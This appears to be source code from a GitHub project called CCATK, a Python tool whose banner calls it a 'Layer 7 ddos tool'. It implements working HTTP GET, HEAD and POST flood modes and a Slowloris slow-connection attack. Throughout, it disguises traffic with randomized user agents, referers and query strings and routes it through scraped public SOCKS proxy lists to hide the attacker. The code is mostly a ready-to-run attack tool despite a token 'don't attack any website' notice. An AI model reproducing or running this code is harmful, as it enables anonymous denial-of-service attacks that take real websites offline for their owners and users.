310 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
311 | if socks_type == 5:
312 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
313 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
314 | sys.stdout.flush()
315 | while True:
316 | for s in list(socket_list):
317 | try:
318 | s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
319 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
320 | sys.stdout.flush()
321 | except:
322 | s.close()
323 | socket_list.remove(s)
324 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
325 | sys.stdout.flush()
326 | proxy = random.choice(proxies).strip().split(":")
327 | if socks_type == 4:
328 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
329 | if socks_type == 5:
330 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
331 | for _ in range(conn - len(socket_list)):
332 | try:
333 | s.settimeout(1)
334 | s.connect((str(ip), int(port)))
335 | if str(port) == '443':
336 | s = ssl.wrap_socket(s)
337 | s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))# Slowloris format header
338 | s.send("User-Agent: {}\r\n".format(random.choice(useragents)).encode("utf-8"))
339 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
340 | s.send(("Connection:keep-alive").encode("utf-8"))
341 | socket_list.append(s)
342 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
343 | sys.stdout.flush()
344 | except:
345 | proxy = random.choice(proxies).strip().split(":")
346 | if socks_type == 4:
347 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
348 | if socks_type == 5:
349 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
350 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
351 | sys.stdout.flush()
352 | pass
353 | nums = 0
354 | def checking(lines,socks_type,ms):#Proxy checker coded by BlueSkyXN
355 | global nums
356 | global proxies
357 | proxy = lines.strip().split(":")
358 | if socks_type == 4:
359 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
360 | if socks_type == 5:
361 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
362 | err = 0
363 | while True:
364 | if err == 3:
365 | proxies.remove(lines)
366 | break
367 | try:
368 | s = socks.socksocket()
369 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
370 | s.settimeout(ms)#You can change by yourself
371 | s.connect((str(ip), int(port)))
372 | if port == 443:
373 | s = ssl.wrap_socket(s)
374 | s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
375 | s.close()
376 | break
377 | except:
378 | err +=1
379 | nums += 1
380 |
381 | def check_socks(ms):#Coded by BlueSkyXN
382 | global nums
383 | thread_list=[]
384 | for lines in list(proxies):
385 | if choice == "5":
386 | th = threading.Thread(target=checking,args=(lines,5,ms,))
387 | th.start()
388 | if choice == "4":
389 | th = threading.Thread(target=checking,args=(lines,4,ms,))
390 | th.start()
391 | thread_list.append(th)
392 | time.sleep(0.01)
393 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
394 | sys.stdout.flush()
395 | for th in list(thread_list):
396 | th.join()
397 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
398 | sys.stdout.flush()
399 | print("\r\n> Checked all proxies, Total Worked:"+str(len(proxies)))
400 | ans = input("> Do u want to save them in a file? (y/n, default=y)")
401 | if ans == "y" or ans == "":
402 | if choice == "4":
403 | with open("socks4.txt", 'wb') as fp:
404 | for lines in list(proxies):
405 | fp.write(bytes(lines,encoding='utf8'))
406 | fp.close()
407 | print("> They are saved in socks4.txt.")
408 | elif choice == "5":
409 | with open("socks5.txt", 'wb') as fp:
410 | for lines in list(proxies):
411 | fp.write(bytes(lines,encoding='utf8'))
412 | fp.close()
413 | print("> They are saved in socks5.txt.")
414 |
415 | def check_list(socks_file):
416 | print("> Checking list")
417 | temp = open(socks_file).readlines()
418 | temp_list = []
419 | for i in temp:
420 | if i not in temp_list:
421 | temp_list.append(i)
422 | rfile = open(socks_file, "wb")
423 | for i in list(temp_list):
424 | rfile.write(bytes(i,encoding='utf-8'))
425 | rfile.close()
426 |
427 | def main():
428 | global ip
429 | global url2
430 | global port
431 | global proxies
432 | global multiple
433 | global choice
434 | ip = ""
435 | port = ""
436 | print("> Mode: [cc/post/slow/check]")
437 | mode = str(input("> Choose Your Mode (default=cc) :"))
438 | if mode == "":
439 | mode = "cc"
440 | ip = str(input("> Host/Ip:"))
441 | if ip == "":
442 | print("> Plese enter correct host or ip")
443 | sys.exit(0)
444 | if mode == "slow" or mode == "check":
445 | pass
446 | else:
447 | url = str(input("> Page you want to attack(default=/):"))
448 | if url == "":
449 | url2 = "/"
450 | else:
451 | url2 = url
452 | port = str(input("> Port(Https is 443):"))
453 | if port == '':
454 | port = int(80)
455 | print("> Default choose port 80\r\n> Port 80 was chosen")
456 | else:
457 | port = int(port)
458 | if str(port) == '443':
459 | print("> [!] Enable SSL Mode")
460 | choice = ""
461 | while choice == "":
462 | choice = str(input("> Choose your socks mode(4/5, default=5):")).strip()
463 | if choice == "":
464 | choice = "5"
465 | if choice != "4" and choice != "5":
466 | print("> [!] Error Choice try again")
467 | if choice == "4":
468 | socks_type = 4
469 | else:
470 | socks_type = 5
471 | if mode == "check":
472 | N = str(input("> Do you need to get socks list?(y/n,default=y):"))
473 | if N == 'y' or N == "" :
474 | if choice == "4":
475 | f = open("socks4.txt",'wb')
476 | try:
477 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all&timeout=1000")
478 | f.write(r.content)
479 | except:
480 | pass
481 | try:
482 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks4")
483 | f.write(r.content)
484 | f.close()
485 | except:
486 | f.close()
487 | try:#credit to All3xJ
488 | req = urllib.request.Request("https://www.socks-proxy.net/")
489 | req.add_header("User-Agent", random.choice(useragents))
490 | sourcecode = urllib.request.urlopen(req)
491 | part = str(sourcecode.read())
492 | part = part.split("
")
493 | part = part[1].split("")
494 | part = part[0].split("")
495 | proxies = ""
496 | for proxy in part:
497 | proxy = proxy.split(" | ")
498 | try:
499 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
500 | except:
501 | pass
502 | out_file = open("socks4.txt","a")
503 | out_file.write(proxies)
504 | out_file.close()
505 | except:
506 | pass
507 | print("> Have already downloaded socks4 list as socks4.txt")
508 | if choice == "5":
509 | f = open("socks5.txt",'wb')
510 | try:
511 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all")
512 | f.write(r.content)
513 | except:
514 | pass
515 | try:
516 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks5")
517 | f.write(r.content)
518 | f.close()
519 | except:
520 | f.close()
521 | print("> Have already downloaded socks5 list as socks5.txt")
522 | else:
523 | pass
524 | if choice == "4":
525 | out_file = str(input("> Socks4 Proxy file path(socks4.txt):"))
526 | if out_file == '':
527 | out_file = str("socks4.txt")
528 | else:
529 | out_file = str(out_file)
530 | check_list(out_file)
531 | proxies = open(out_file).readlines()
532 | elif choice == "5":
533 | out_file = str(input("> Socks5 Proxy file path(socks5.txt):"))
534 | if out_file == '':
535 | out_file = str("socks5.txt")
536 | else:
537 | out_file = str(out_file)
538 | check_list(out_file)
539 | proxies = open(out_file).readlines()
540 | print ("> Number Of Socks%s Proxies: %s" %(choice,len(proxies)))
541 | time.sleep(0.03)
542 | ans = str(input("> Do u need to check the socks list?(y/n, defualt=y):"))
543 | if ans == "":
544 | ans = "y"
545 | if ans == "y":
546 | ms = str(input("> Delay of socks(seconds, default=1):"))
547 | if ms == "":
548 | ms = int(1)
549 | else :
550 | try:
551 | ms = int(ms)
552 | except :
553 | ms = float(ms)
554 | check_socks(ms)
555 | print("> End of process")
556 | return
557 | if mode == "slow":
558 | thread_num = str(input("> Connections(default=400):"))
559 | else:
560 | thread_num = str(input("> Threads(default=400):"))
561 | if thread_num == "":
562 | thread_num = int(400)
563 | else:
564 | try:
565 | thread_num = int(thread_num)
566 | except:
567 | sys.exit("Error thread number")
568 | N = str(input("> Do you need to get socks list?(y/n,default=y):"))
569 | if N == 'y' or N == "" :
570 | if choice == "4":
571 | f = open("socks4.txt",'wb')
572 | try:
573 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all&timeout=1000")
574 | f.write(r.content)
575 | except:
576 | pass
577 | try:
578 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks4")
579 | f.write(r.content)
580 | f.close()
581 | except:
582 | f.close()
583 | try:#credit to All3xJ
584 | req = urllib.request.Request("https://www.socks-proxy.net/")
585 | req.add_header("User-Agent", random.choice(useragents))
586 | sourcecode = urllib.request.urlopen(req)
587 | part = str(sourcecode.read())
588 | part = part.split(" |
")
589 | part = part[1].split("")
590 | part = part[0].split("")
591 | proxies = ""
592 | for proxy in part:
593 | proxy = proxy.split(" | ")
594 | try:
595 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
596 | except:
597 | pass
598 | out_file = open("socks4.txt","a")
599 | out_file.write(proxies)
600 | out_file.close()
601 | except:
602 | pass
603 | print("> Have already downloaded socks4 list as socks4.txt")
604 | if choice == "5":
605 | f = open("socks5.txt",'wb')
606 | try:
607 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all")
608 | f.write(r.content)
609 | except:
610 | pass
611 | try:
612 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks5")
613 | f.write(r.content)
614 | f.close()
615 | except:
616 | f.close()
617 | print("> Have already downloaded socks5 list as socks5.txt")
618 | else:
619 | pass
620 | if choice == "4":
621 | out_file = str(input("> Socks4 Proxy file path(socks4.txt):"))
622 | if out_file == '':
623 | out_file = str("socks4.txt")
624 | else:
625 | out_file = str(out_file)
626 | check_list(out_file)
627 | proxies = open(out_file).readlines()
628 | elif choice == "5":
629 | out_file = str(input("> Socks5 Proxy file path(socks5.txt):"))
630 | if out_file == '':
631 | out_file = str("socks5.txt")
632 | else:
633 | out_file = str(out_file)
634 | check_list(out_file)
635 | proxies = open(out_file).readlines()
636 | print ("> Number Of Socks%s Proxies: %s" %(choice,len(proxies)))
637 | time.sleep(0.03)
638 | ans = str(input("> Do u need to check the socks list?(y/n, defualt=y):"))
639 | if ans == "":
640 | ans = "y"
641 | if ans == "y":
642 | ms = str(input("> Delay of socks(seconds, default=1):"))
643 | if ms == "":
644 | ms = int(1)
645 | else :
646 | try:
647 | ms = int(ms)
648 | except :
649 | ms = float(ms)
650 | check_socks(ms)
651 | if mode == "slow":
652 | input("Press Enter to continue.")
653 | th = threading.Thread(target=slow,args=(thread_num,socks_type,))
654 | th.setDaemon(True)
655 | th.start()
656 | else:
657 | multiple = str(input("> Input the Magnification(default=100):"))
658 | if multiple == "":
659 | multiple = int(100)
660 | else:
661 | multiple = int(multiple)
662 | input("Press Enter to continue.")
663 | if mode == "post":
664 | for _ in range(thread_num):
665 | th = threading.Thread(target = post,args=(socks_type,))
666 | th.setDaemon(True)
667 | th.start()
668 | #print("Threads "+str(i+1)+" created")
669 | elif mode == "cc":
670 | for _ in range(thread_num):
671 | th = threading.Thread(target = cc,args=(socks_type,))
672 | th.setDaemon(True)
673 | th.start()
674 | #print("Threads "+str(i+1)+" created")
675 | try:
676 | while True:
677 | pass
678 | except KeyboardInterrupt:
679 | sys.exit()
680 |
681 |
682 | if __name__ == "__main__":
683 | main()#Coded by BlueSkyXN
684 |
--------------------------------------------------------------------------------
/atk2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #Coded by BlueSkyXN
3 | #########################################
4 | # Just a little change #
5 | # -- BlueSkyXN #
6 | #########################################
7 | import requests
8 | import socket
9 | import socks
10 | import time
11 | import random
12 | import threading
13 | import sys
14 | import ssl
15 | import datetime
16 |
17 |
18 |
19 | print ('''
20 | ///// ///// /////////////
21 | CCCCC/ CCCCC/ | CC-attack |/
22 | CC/ CC/ |-----------|/
23 | CC/ CC/ | Layer 7 |/
24 | CC///// CC///// | ddos tool |/
25 | CCCCC/ CCCCC/ |___________|/
26 | >--------------------------------------------->
27 | Version 3.6 (2020/12/19)
28 | C0d3d by BlueSkyXN
29 | ┌─────────────────────────────────────────────┐
30 | │ Tos: Don't attack ANY website │
31 | ├─────────────────────────────────────────────┤
32 | │ New stuff: │
33 | │ [+] Optimization │
34 | │ [+] Changed Output │
35 | │ [+] Added Url Parser │
36 | ├─────────────────────────────────────────────┤
37 | │ Link: https://github.com/BlueSkyXN/CCATK │
38 | └─────────────────────────────────────────────┘''')
39 |
40 | acceptall = [
41 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
42 | "Accept-Encoding: gzip, deflate\r\n",
43 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
44 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
45 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
46 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
47 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
48 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
49 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
50 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
51 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
52 | "Accept: text/html, application/xhtml+xml",
53 | "Accept-Language: en-US,en;q=0.5\r\n",
54 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
55 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
56 |
57 | referers = [
58 | "https://www.google.com/search?q=",
59 | "https://check-host.net/",
60 | "https://www.facebook.com/",
61 | "https://www.youtube.com/",
62 | "https://www.fbi.com/",
63 | "https://www.bing.com/search?q=",
64 | "https://r.search.yahoo.com/",
65 | "https://www.cia.gov/index.html",
66 | "https://vk.com/profile.php?redirect=",
67 | "https://www.usatoday.com/search/results?q=",
68 | "https://help.baidu.com/searchResult?keywords=",
69 | "https://steamcommunity.com/market/search?q=",
70 | "https://www.ted.com/search?q=",
71 | "https://play.google.com/store/search?q=",
72 | "https://www.qwant.com/search?q=",
73 | "https://soda.demo.socrata.com/resource/4tka-6guv.json?$q=",
74 | "https://www.google.ad/search?q=",
75 | "https://www.google.ae/search?q=",
76 | "https://www.google.com.af/search?q=",
77 | "https://www.google.com.ag/search?q=",
78 | "https://www.google.com.ai/search?q=",
79 | "https://www.google.al/search?q=",
80 | "https://www.google.am/search?q=",
81 | "https://www.google.co.ao/search?q=",
82 | ]
83 | ind_dict = {}
84 | data = ""
85 | cookies = ""
86 | strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890&"
87 | ###################################################
88 | Intn = random.randint
89 | Choice = random.choice
90 | ###################################################
91 | def build_threads(mode,thread_num,event,socks_type,ind_rlock):
92 | if mode == "post":
93 | for _ in range(thread_num):
94 | th = threading.Thread(target = post,args=(event,socks_type,ind_rlock,))
95 | th.setDaemon(True)
96 | th.start()
97 | elif mode == "cc":
98 | for _ in range(thread_num):
99 | th = threading.Thread(target = cc,args=(event,socks_type,ind_rlock,))
100 | th.setDaemon(True)
101 | th.start()
102 | elif mode == "head":
103 | for _ in range(thread_num):
104 | th = threading.Thread(target = head,args=(event,socks_type,ind_rlock,))
105 | th.setDaemon(True)
106 | th.start()
107 |
108 | def getuseragent():
109 | platform = Choice(['Macintosh', 'Windows', 'X11'])
110 | if platform == 'Macintosh':
111 | os = Choice(['68K', 'PPC', 'Intel Mac OS X'])
112 | elif platform == 'Windows':
113 | os = Choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win 9x 4.90', 'WindowsCE', 'Windows XP', 'Windows 7', 'Windows 8', 'Windows NT 10.0; Win64; x64'])
114 | elif platform == 'X11':
115 | os = Choice(['Linux i686', 'Linux x86_64'])
116 | browser = Choice(['chrome', 'firefox', 'ie'])
117 | if browser == 'chrome':
118 | webkit = str(Intn(500, 599))
119 | version = str(Intn(0, 99)) + '.0' + str(Intn(0, 9999)) + '.' + str(Intn(0, 999))
120 | return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
121 | elif browser == 'firefox':
122 | currentYear = datetime.date.today().year
123 | year = str(Intn(2020, currentYear))
124 | month = Intn(1, 12)
125 | if month < 10:
126 | month = '0' + str(month)
127 | else:
128 | month = str(month)
129 | day = Intn(1, 30)
130 | if day < 10:
131 | day = '0' + str(day)
132 | else:
133 | day = str(day)
134 | gecko = year + month + day
135 | version = str(Intn(1, 72)) + '.0'
136 | return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
137 | elif browser == 'ie':
138 | version = str(Intn(1, 99)) + '.0'
139 | engine = str(Intn(1, 99)) + '.0'
140 | option = Choice([True, False])
141 | if option == True:
142 | token = Choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
143 | else:
144 | token = ''
145 | return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
146 |
147 | def randomurl():
148 | return str(Choice(strings)+str(Intn(0,271400281257))+Choice(strings)+str(Intn(0,271004281257))+Choice(strings) + Choice(strings)+str(Intn(0,271400281257))+Choice(strings)+str(Intn(0,271004281257))+Choice(strings))
149 |
150 | def GenReqHeader(method):
151 | global data
152 | header = ""
153 | if method == "get" or method == "head":
154 | connection = "Connection: Keep-Alive\r\n"
155 | if cookies != "":
156 | connection += "Cookies: "+str(cookies)+"\r\n"
157 | accept = Choice(acceptall)
158 | referer = "Referer: "+Choice(referers)+ target + path + "\r\n"
159 | useragent = "User-Agent: " + getuseragent() + "\r\n"
160 | header = referer + useragent + accept + connection + "\r\n"
161 | elif method == "post":
162 | post_host = "POST " + path + " HTTP/1.1\r\nHost: " + target + "\r\n"
163 | content = "Content-Type: application/x-www-form-urlencoded\r\nX-requested-with:XMLHttpRequest\r\n"
164 | refer = "Referer: http://"+ target + path + "\r\n"
165 | user_agent = "User-Agent: " + getuseragent() + "\r\n"
166 | accept = Choice(acceptall)
167 | if mode2 != "y":# You can enable customize data
168 | data = str(random._urandom(16))
169 | length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n"
170 | if cookies != "":
171 | length += "Cookies: "+str(cookies)+"\r\n"
172 | header = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
173 | return header
174 |
175 | def ParseUrl(original_url):
176 | global target
177 | global path
178 | global port
179 | global protocol
180 | original_url = original_url.strip()
181 | url = ""
182 | path = "/"#default value
183 | port = 80 #default value
184 | protocol = "http"
185 | #http(s)://www.example.com:1337/xxx
186 | if original_url[:7] == "http://":
187 | url = original_url[7:]
188 | elif original_url[:8] == "https://":
189 | url = original_url[8:]
190 | protocol = "https"
191 | #http(s)://www.example.com:1337/xxx ==> www.example.com:1337/xxx
192 | #print(url) #for debug
193 | tmp = url.split("/")
194 | website = tmp[0]#www.example.com:1337/xxx ==> www.example.com:1337
195 | check = website.split(":")
196 | if len(check) != 1:#detect the port
197 | port = int(check[1])
198 | else:
199 | if protocol == "https":
200 | port = 443
201 | target = check[0]
202 | if len(tmp) > 1:
203 | path = url.replace(website,"",1)#get the path www.example.com/xxx ==> /xxx
204 |
205 | def InputOption(question,options,default):
206 | ans = ""
207 | while ans == "":
208 | ans = str(input(question)).strip().lower()
209 | if ans == "":
210 | ans = default
211 | elif ans not in options:
212 | print("> Please enter the correct option")
213 | ans = ""
214 | continue
215 | return ans
216 |
217 | def CheckerOption():
218 | global proxies
219 | N = str(input("> Do you need to get socks list?(y/n,default=y):"))
220 | if N == 'y' or N == "" :
221 | downloadsocks(choice)
222 | else:
223 | pass
224 | if choice == "4":
225 | out_file = str(input("> Socks4 Proxy file path(socks4.txt):"))
226 | if out_file == '':
227 | out_file = str("socks4.txt")
228 | else:
229 | out_file = str(out_file)
230 | check_list(out_file)
231 | proxies = open(out_file).readlines()
232 | elif choice == "5":
233 | out_file = str(input("> Socks5 Proxy file path(socks5.txt):"))
234 | if out_file == '':
235 | out_file = str("socks5.txt")
236 | else:
237 | out_file = str(out_file)
238 | check_list(out_file)
239 | proxies = open(out_file).readlines()
240 | if len(proxies) == 0:
241 | print("> There are no more proxies. Please download a new one.")
242 | sys.exit(1)
243 | print ("> Number Of Socks%s Proxies: %s" %(choice,len(proxies)))
244 | time.sleep(0.03)
245 | ans = str(input("> Do u need to check the socks list?(y/n, defualt=y):"))
246 | if ans == "":
247 | ans = "y"
248 | if ans == "y":
249 | ms = str(input("> Delay of socks(seconds, default=5):"))
250 | if ms == "":
251 | ms = int(5)
252 | else :
253 | try:
254 | ms = int(ms)
255 | except :
256 | ms = float(ms)
257 | check_socks(ms)
258 |
259 | def SetupIndDict():
260 | global ind_dict
261 | for proxy in proxies:
262 | ind_dict[proxy.strip()] = 0
263 |
264 | def OutputToScreen(ind_rlock):
265 | global ind_dict
266 | i = 0
267 | sp_char = ["|","/","-","\\"]
268 | while 1:
269 | if i > 3:
270 | i = 0
271 | print("{:^70}".format("Proxies attacking status"))
272 | print("{:^70}".format("IP:PORT <-> RPS "))
273 | #1. xxx.xxx.xxx.xxx:xxxxx ==> Rps: xxxx
274 | ind_rlock.acquire()
275 | top_num = 0
276 | top10= sorted(ind_dict, key=ind_dict.get, reverse=True)
277 | if len(top10) > 10:
278 | top_num = 10
279 | else:
280 | top_num = len(top10)
281 | for num in range(top_num):
282 | top = "none"
283 | rps = 0
284 | if len(ind_dict) != 0:
285 | top = top10[num]
286 | rps = ind_dict[top]
287 | ind_dict[top] = 0
288 | print("{:^70}".format("{:2d}. {:^22s} | Rps: {:d}".format(num+1,top,rps)))
289 | total = 0
290 | for k,v in ind_dict.items():
291 | total = total + v
292 | ind_dict[k] = 0
293 | ind_rlock.release()
294 | print("{:^70}".format(" ["+sp_char[i]+"] CC attack | Total Rps:"+str(total)))
295 | i+=1
296 | time.sleep(1)
297 | print("\n"*100)
298 |
299 | def cc(event,socks_type,ind_rlock):
300 | global ind_dict
301 | header = GenReqHeader("get")
302 | proxy = Choice(proxies).strip().split(":")
303 | add = "?"
304 | if "?" in path:
305 | add = "&"
306 | event.wait()
307 | while True:
308 | try:
309 | s = socks.socksocket()
310 | if socks_type == 4:
311 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
312 | if socks_type == 5:
313 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
314 | if brute:
315 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
316 | s.connect((str(target), int(port)))
317 | if protocol == "https":
318 | ctx = ssl.SSLContext()
319 | s = ctx.wrap_socket(s,server_hostname=target)
320 | try:
321 | for n in range(multiple+1):
322 | get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
323 | request = get_host + header
324 | sent = s.send(str.encode(request))
325 | if not sent:
326 | ind_rlock.acquire()
327 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
328 | ind_rlock.release()
329 | proxy = Choice(proxies).strip().split(":")
330 | break
331 | s.close()
332 | except:
333 | s.close()
334 | ind_rlock.acquire()
335 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
336 | ind_rlock.release()
337 | except:
338 | s.close()
339 |
340 | def head(event,socks_type,ind_rlock):#HEAD MODE
341 | global ind_dict
342 | header = GenReqHeader("head")
343 | proxy = Choice(proxies).strip().split(":")
344 | add = "?"
345 | if "?" in path:
346 | add = "&"
347 | event.wait()
348 | while True:
349 | try:
350 | s = socks.socksocket()
351 | if socks_type == 4:
352 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
353 | if socks_type == 5:
354 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
355 | if brute:
356 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
357 | s.connect((str(target), int(port)))
358 | if protocol == "https":
359 | ctx = ssl.SSLContext()
360 | s = ctx.wrap_socket(s,server_hostname=target)
361 | try:
362 | for n in range(multiple+1):
363 | head_host = "HEAD " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
364 | request = head_host + header
365 | sent = s.send(str.encode(request))
366 | if not sent:
367 | ind_rlock.acquire()
368 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
369 | ind_rlock.release()
370 | proxy = Choice(proxies).strip().split(":")
371 | break# This part will jump to dirty fix
372 | s.close()
373 | except:
374 | s.close()
375 | ind_rlock.acquire()
376 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
377 | ind_rlock.release()
378 | except:#dirty fix
379 | s.close()
380 |
381 | def post(event,socks_type,ind_rlock):
382 | global ind_dict
383 | request = GenReqHeader("post")
384 | proxy = Choice(proxies).strip().split(":")
385 | event.wait()
386 | while True:
387 | try:
388 | s = socks.socksocket()
389 | if socks_type == 4:
390 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
391 | if socks_type == 5:
392 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
393 | if brute:
394 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
395 | s.connect((str(target), int(port)))
396 | if protocol == "https":
397 | ctx = ssl.SSLContext()
398 | s = ctx.wrap_socket(s,server_hostname=target)
399 | try:
400 | for n in range(multiple+1):
401 | sent = s.send(str.encode(request))
402 | if not sent:
403 | ind_rlock.acquire()
404 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
405 | ind_rlock.release()
406 | proxy = Choice(proxies).strip().split(":")
407 | break
408 | s.close()
409 | except:
410 | s.close()
411 | ind_rlock.acquire()
412 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
413 | ind_rlock.release()
414 | except:
415 | s.close()
416 |
417 | socket_list=[]
418 | def slow(conn,socks_type):
419 | proxy = Choice(proxies).strip().split(":")
420 | for _ in range(conn):
421 | try:
422 | s = socks.socksocket()
423 | if socks_type == 4:
424 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
425 | if socks_type == 5:
426 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
427 | s.settimeout(1)
428 | s.connect((str(target), int(port)))
429 | if str(port) == '443':
430 | ctx = ssl.SSLContext()
431 | s = ctx.wrap_socket(s,server_hostname=target)
432 | s.send("GET /?{} HTTP/1.1\r\n".format(Intn(0, 2000)).encode("utf-8"))# Slowloris format header
433 | s.send("User-Agent: {}\r\n".format(getuseragent()).encode("utf-8"))
434 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
435 | if cookies != "":
436 | s.send(("Cookies: "+str(cookies)+"\r\n").encode("utf-8"))
437 | s.send(("Connection:keep-alive").encode("utf-8"))
438 |
439 | socket_list.append(s)
440 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
441 | sys.stdout.flush()
442 | except:
443 | s.close()
444 | proxy = Choice(proxies).strip().split(":")#Only change proxy when error, increase the performance
445 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
446 | sys.stdout.flush()
447 | while True:
448 | for s in list(socket_list):
449 | try:
450 | s.send("X-a: {}\r\n".format(Intn(1, 5000)).encode("utf-8"))
451 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
452 | sys.stdout.flush()
453 | except:
454 | s.close()
455 | socket_list.remove(s)
